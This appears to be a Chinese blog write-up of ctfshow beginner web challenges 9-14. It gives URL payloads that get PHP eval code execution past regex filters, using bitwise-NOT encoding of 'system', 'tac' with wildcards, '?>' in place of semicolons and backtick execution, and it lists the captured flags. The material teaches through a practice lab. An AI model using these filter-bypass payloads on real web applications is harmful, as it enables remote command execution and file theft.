ctfshow萌新计划web9-14(正则匹配绕过)

目录

web9

web10

web11

web12

web13

web14


web9

审一下代码,需要匹配到system|exec|highlight才会执行eval函数

先看一下当前目录下有什么

payload:?c=system('ls');

index.php是首页,我们看看config.php

payload:?c=system('cat config.php');

没有回显,看一下源码,找到flag

ctfshow{8e148a24-0ac7-4280-8bfe-f4fd4560112b}

web10

这次if语句里加了个非,即过滤掉了system|exec|highlight

用之前讲过的取反绕过,可以参考 http://t.csdnimg.cn/1p3dy

即对我们想要执行的代码进行取反,url编码,再取反

题目源代码里也有提示,flag在config.php里面

代码很简单我们直接使用在线编译工具生成payload

php 复制代码
<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'cat config.php');
?>

构造payload:?c=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%9C%90%91%99%96%98%D1%8F%97%8F);

传入之后查看源代码

ctfshow{826e3a2b-decb-42d0-ae45-dced3337b685}

web11

才发现上一道题其实只需要对system取反绕过即可,这里才是过滤掉了cat

继续使用上一道题的payload:

或者只对system取反绕过,cat用tac代替

tac命令:反向显示文件内容,即最先显示的是最后一行,倒数第二行,倒数第三行,以此类推到最后显示原本文件的第一行内容。

构造payload:?c=(~%8C%86%8C%8B%9A%92)('tac config.php');

ctfshow{eef3eb10-069e-4c10-83c3-facc913d4dae}

web12

这里把文件名config,php也过滤了

可以使用通配符 * 或者 ? 进行模糊查询

构造payload:?c=(~%8C%86%8C%8B%9A%92)('tac c*');

或者:?c=(~%8C%86%8C%8B%9A%92)('tac ???fi??p??');

随便怎么敲都行

ctfshow{523f3e7f-264f-438c-a355-aafb71807094}

web13

这里把;也过滤了

使用 ?>代替

构造payload:?c=(~%8C%86%8C%8B%9A%92)('tac c*')?>

ctfshow{660772e4-5170-4117-98ad-43611f2af520}

web14

过滤了括号,使用反引号``代替

system用echo替换,可以参考我前面的博客http://t.csdnimg.cn/M7VNu

构造payload: ?c=echo`tac c*`?>

ctfshow{2ebfa3da-656e-42e2-b3f1-0ecd342ec6b7}

相关推荐
两个人的幸福9 天前
Windows 桌面应用自研 PHP 队列(下):完整代码与六大工程化优化
php
BingoGo11 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
JaguarJack11 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
用户30745969820712 天前
PHP 扩展——从入门到理解
php
鹏仔先生13 天前
拷贝漫画APP下载页PHP程序,后台带免费AI写作
php
云水一下13 天前
从零开始学 PHP 系列(一):PHP 的前世今生与开发环境搭建
开发语言·php
treesforest13 天前
AI安全系统如何识别异常访问?IP风险识别正在成为关键能力
网络·人工智能·tcp/ip·安全·web安全
xingpanvip13 天前
星盘接口开发文档:本命盘接口指南
android·开发语言·css·php·lua
上海云盾第一敬业销售13 天前
深入解析WAF的工作原理与机制
web安全·ddos
踏着七彩祥云的小丑13 天前
Go学习第9天:并发编程 + 文件操作 + 正则表达式
学习·golang·正则表达式·go